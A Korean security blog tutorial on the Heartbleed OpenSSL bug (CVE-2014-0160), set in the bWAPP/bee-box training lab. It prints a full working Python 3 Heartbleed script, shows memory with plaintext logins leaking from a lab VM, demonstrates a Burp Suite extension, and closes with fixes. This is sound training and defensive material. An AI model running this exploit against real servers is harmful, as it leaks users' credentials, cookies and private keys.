본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 10-4. 민감한 데이터 노출 [하트블리드 취약점]

by Robert8478 2023. 12. 14.

하트블리드 취약점이란? - OpenSSL의 소프트웨어 버그로 인한 취약점으로(CVE-2014-0160) 사상 최악의 취약점 중 하나로 꼽힌다.
이 취약점을 통해 사용자나 관리자의 아이디,비밀번호,SSL 비밀키 등이 노출될 수 있는 위험한 취약점이다.

OpenSSL 1.0.1 이후 'Heartbeat' 라는 세션 연결을 확인하는 방법을 제공하게 되었다. 하지만 전달되는 값의 길이를 검증하지 않아서 버퍼 초과 읽기(buffer overflow)가 발생하여 Heartbeat 마다 최대 64KB의 응용프로그램 메모리 내용을 요청할 수 있어 외부에서 서버의 메모리 정보를 평문으로 계속 볼 수 있게 된다. 이를 공격하여 정보들을 합하면 여러 정보들이 노출되는 것이다.

[난이도 하]
하트블리드 스크립트는 기본으로 443/TCP 포트를 대상으로 하지만 비박스에서는 하트블리드 취약점 점검이 8443/TCP에 설정되어 있다.

8443/TCP 포트에 맞춘 공격 스크립트를 다운받기 위해 링크를 클릭하자.

우클릭을 하고 다른이름으로 저장을 해서 py 파일을 다운받을 수 있다. 이제 cmd에서 해당 파이썬 파일을 실행시켜보도록 하자.

python heartbleed.py 192.168.56.102 | more 명령어를 입력하면 메모리 정보가 노출되고 공격에 성공한 것이다.
그러면 이제 하트블리드를 테스트할 페이지로 이동해보자.

참고) 비박스의 공격 스크립트는 파이썬 2 버전 기준이기 때문에 파이썬3 버전에서 실행하면 print 구문에서 syntax 에러가 나온다. 그래서 github에서 파이썬 3용 코드를 구한 뒤 코드에서 포트 번호만 8443으로 맞춰주면 python3에서 실행이 가능하다.

heartbleed.py
#
# Usage: python heartbleed.py <host>
#
# The author disclaims copyright to this source code.
 
import sys
import struct
import socket
import time
import select
import re
import codecs
from optparse import OptionParser
 
decode_hex = codecs.getdecoder('hex_codec')
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=8443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
 
def h2bin(x):
        return decode_hex(x.replace(' ', '').replace('\n', ''))[0]
 
hello = h2bin('''
        16 03 02 00  dc 01 00 00 d8 03 02 53
        43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
        bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
        00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
        00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
        c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
        c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
        c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
        c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
        00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
        03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
        00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
        00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
        00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
        00 0f 00 01 01                                  
        ''')
 
hb = h2bin('''
        18 03 02 00 03
        01 40 00
        ''')
 
def hexdump(s):
    for b in range(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % c for c in lin)
        pdat = ''.join(chr(c) if 32 <= c <= 126 else '.' for c in lin)
        print( '  %04x: %-48s %s' % (b, hxdat, pdat))
    print()
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = b''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                                return None
            rdata += data
            remain -= len(data)
    return rdata
       
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print( 'Unexpected EOF receiving record header - server closed connection')
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print( 'Unexpected EOF receiving record payload - server closed connection')
        return None, None, None
    print( ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
    return typ, ver, pay
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print( 'No heartbeat response received, server likely not vulnerable')
            return False
 
        if typ == 24:
            print( 'Received heartbeat response:')
            hexdump(pay)
            if len(pay) > 3:
                print( 'WARNING: server returned more data than it should - server is vulnerable!')
            else:
                print( 'Server processed malformed heartbeat, but did not return any extra data.')
            return True
 
        if typ == 21:
            print( 'Received alert:')
            hexdump(pay)
            print( 'Server returned error, likely not vulnerable')
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print( 'Connecting...')
    sys.stdout.flush()
    s.connect((args[0], opts.port))
 
    if opts.starttls:
        re = s.recv(4096)
        if opts.debug: print( re)
        s.send(b'ehlo starttlstest\n')
        re = s.recv(1024)
        if opts.debug: print( re)
        if not b'STARTTLS' in re:
            if opts.debug: print( re)
            print( 'STARTTLS not supported...')
            sys.exit(0)
        s.send(b'starttls\n')
        re = s.recv(1024)
   
    print( 'Sending Client Hello...')
    sys.stdout.flush()
    s.send(hello)
    print( 'Waiting for Server Hello...')
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print( 'Server closed connection without sending Server Hello.')
            return
        # Look for server hello done message.
        if typ == 22 and pay[0] == 0x0E:
            break
 
    print( 'Sending heartbeat request...')
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if __name__ == '__main__':
        main()

위 코드가 직접 수정한 python3 용 heartbleed 공격 스크립트이니 python3를 쓴다면 위 코드를 써야한다.

https://192.168.56.102:8443/bWAPP/login.php 8443 포트의 https 페이지로 이동한 뒤 로그인을 하고 공격 스크립트를 재실행 해보자.

그랬더니 아까와는 다른 메모리 정보들이 노출되는 것을 볼 수 있다. 윗부분은 클라이언트 브라우저에서도 확인할 수 있던 통신 연결 정보들과 쿠키 정보들이다. 아랫 부분을 확인해보니 아이디와 비밀번호가 평문으로 노출된 것을 확인할 수 있었다. 이와 같이 원격에서 어떤 사용자든 널려진 스크립트 코드를 이용해서 메모리 정보를 볼 수 있기 때문에 중요 정보가 외부에 노출될 수 있다.

그리고 버프슈트 확장 기능에서도 하트블리드 테스트가 가능하다. 

Extender 탭의 BApp Store에서 HeartBleed를 Install 해준다.

그리고 Target 탭의 Site map으로 가서 https://아이피주소:8443 으로 된 사이트맵을 확인해 보면 Params에 체크된 login.php가 보인다. 이를 우클릭 한 뒤 Heartbleed this! 를 클릭해 준다.

기본 포트가 443으로 되어있는데 비박스용 8443으로 변경한 뒤 OK를 눌러준다.

그 후 맨 우측에 생긴 Heartbleed 탭으로 이동하면 메모리 정보들이 노출된 것을 확인할 수 있다.

[대응 방안]
Open SSL 버전을 최신 버전으로 업데이트하고 비밀번호 변경 또는 이중 인증, IPS 탐지 룰 설정 등을 통해 취약점을 해결할 수 있다.
만약 Open SSL 버전이 구버전이었다가 최신 버전으로 업데이트 했다면 SSL 키가 노출되었을 수 있으므로 SSL키를 재발급 받아야 한다.